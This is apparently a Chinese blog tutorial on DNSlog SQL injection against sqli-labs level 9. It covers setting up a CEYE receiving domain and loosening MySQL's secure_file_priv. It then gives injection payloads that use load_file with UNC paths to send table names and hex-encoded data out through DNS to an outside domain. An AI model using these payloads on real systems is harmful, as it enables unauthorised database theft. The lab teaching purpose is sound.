在之前的文章中关于sqlilabs的第九题,看似只能用时间盲注,但其实经过深入学习后,还有一种方法------DNSlog注入法。
这个方法的原理就是利用数据库可以发起DNS请求的性质,将数据带出。将数据传输到一个域名里。在这个域名中,我们可以读取域名的解析日志。
使用DNSlog注入的前提条件:1.系统为Windows系统,只有Windows系统的DNS解析有利用的可能(这里指的是目标服务器)。2.需要一个域名用于接收解析信息,目前网上使用率很高的域名生成平台是CEYE - Monitor service for security testing 。该域名注册后即可使用。3.MySQL数据库中需要用到 load_file)()函数。在数据库中可能需要改动一下配置。
域名生成平台:
在ceye中实名注册后登录
其中的identifier就是用于接收DNS解析信息的域名。
配置数据库:
首先确保自己的数据库是开启状态,win+R打开管理器输入cmd进入cmd命令运行,找到自己的数据库的盘,例如我的数据库是放在D盘的所以输入D:打开D盘。
接着打开装有数据库的文件夹一直开到bin文件
复制该路径,在 命令运行里输入cd空格任何右键,刚刚复制的路径就粘贴到了命令运行里。执行后再输入mysql -uroot -p,输入密码,进入数据库。
密码是用户自己安装MySQL时设定的,如果不记得密码了,可以试试默认密码:root
现在,输入show variables like '%secure%';查看load_file()函数可以读取的磁盘。
目前secure_file_priv后面的值为NULL,说明该函数没有读取任何磁盘的权限,若后面的值为某个磁盘名,说明可以读取该磁盘,若值为空,说明可以读取任何磁盘。现在我们需要让该函数有权限读取任何磁盘。直接在my.ini文件里修改。
当内容为secure_file_priv=''即可,这个地方可能要多试几次。有可能会不成功。如果my.ini文件里没有这一行,手动在[mysqld]下面加上该命令即可。完成后再次查看可读取的磁盘
此时load_file()函数就可以读取所有磁盘了。
测试:
使用slqilabs的第九关测试,因为第九关的时间盲注法太费时间,DNS log注入刚好用于无回显的数据库注入。
该注入命令基本上就是固定格式,只需要把sql语句写在中间,涂黑的地方是自己注册的域名。执行该语句后,即可在平台上查看
接下来就是常规爆表
然而,此时平台没有接收到任何反馈,既然第一次能成功,而后面失败了,只能说明是语句的问题。经过反复试验,发现不能用group_concat,如果一次只爆出一个表名就可以。
?id=3'and if((select load_file(concat('\\\\',(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),'.xxxxxx.ceye.io\\abc'))),1,0)--+这样一次只爆出一个表
就可以成功,这样一来效率其实并不高,不过比手动时间盲注要强多了。另外,如果目标数据库的数据中有特殊字符如@#¥%……&*等则需要使用hex编码。 即:?id=3'and if((select load_file(concat('\\\\',(select hex(语句)),'.xxxxxx.ceye.io\\abc'))),1,0)--+则在平台上回返的是字符进行16进制后的编码,找个解码器解码后即可。